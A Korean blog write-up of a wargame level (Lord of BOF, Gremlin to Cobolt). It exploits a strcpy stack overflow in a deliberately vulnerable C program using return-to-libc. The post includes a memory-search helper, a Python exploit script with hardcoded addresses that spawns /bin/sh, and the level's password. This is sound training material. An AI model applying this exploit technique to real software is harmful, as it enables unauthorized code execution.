-
Lord of BOF - Challenge [2번] Gremlin -> CoboltWARGAME/LORD OF BOF 2018. 6. 20. 15:57
[Summary]
1. 14행의 취약한 strcpy 함수를 이용하여 16 바이트의 buffer 배열에 16바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.
2. buffer 배열에 dummy(20) 값과 system 함수의 주소, dummy(4), system 함수의 인자(/bin/sh)를 입력시킨 후 EIP 레지스터를 buffer 배열의 system 함수 부분의 주소로 변조하여 system 함수를 실행시킨다.
3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.
[Sourcecode]
/* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
[Analysis]
소스코드를 보게 되면 14행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 즉, 20바이트의 더미 데이터와 4바이트의 return 주소를 덮어서 eip 를 컨트롤 할 수 있다.
LOB 1번(Gate->Gremlin) 과 비교하여 배열의 크기가 달라진것 외에 바뀐것이 없다. 따라서 풀이는 1번과 같다.
먼저 RTL 을 하기 위해서는 아래 값들이 필요하다.
1. system 함수 주소
2. system 함수의 인자로 들어갈 /bin/sh 문자열의 주소
gdb 에서 main 시작주소에 브레이크 포인트를 걸고 실행한 뒤 system 주소를 알아낸다.
(설명생략 - 1번 문제와 동일)
/bin/sh 의 문자열은 system 함수 내부에 위치해 있는 것을 이용해 필자가 약간의 코딩을 하여 주소 값을 알아낼 수 있다.
아래는 system 함수의 주소를 기준으로 /bin/sh 문자열이 위치한 주소값을 구하는 코드이다.
#include <stdio.h> int main(void) { int sh = 0x40058ae0; while( memcmp( (void*)sh, "/bin/sh", 8 ) ) sh++; printf("[+] Find binsh - %p\n", (void*)sh); return 0; }
/bin/sh 문자열이 위치한 주소값이 맞는지 gdb 를 이용해 확인해 본다.
이제 필요한 정보들이 모두 모였기 때문에 아래 처럼 페이로드를 작성해 익스플로잇을 한다.
※ system - 0x40058ae0
※ /bin/sh - 0x400fbff9
[Exploit]
import os import struct p = lambda x : struct.pack("<L", x) system = 0x40058ae0; binsh = 0x400fbff9; payload = "\x90"*20 payload = payload + p(system) payload = payload + "\x90"*4 payload = payload + p(binsh) print payload
cobolt : hacking exposed
[References]
'WARGAME > LORD OF BOF' 카테고리의 다른 글
Lord of BOF - Challenge [6번] Wolfman -> Darkelf (0) 2018.06.25 Lord of BOF - Challenge [5번] Orc -> Wolfman (0) 2018.06.24 Lord of BOF - Challenge [4번] Goblin -> Orc (0) 2018.06.21 Lord of BOF - Challenge [3번] Cobolt -> Goblin (0) 2018.06.20 Lord of BOF - Challenge [1번] Gate -> Gremlin (0) 2018.06.20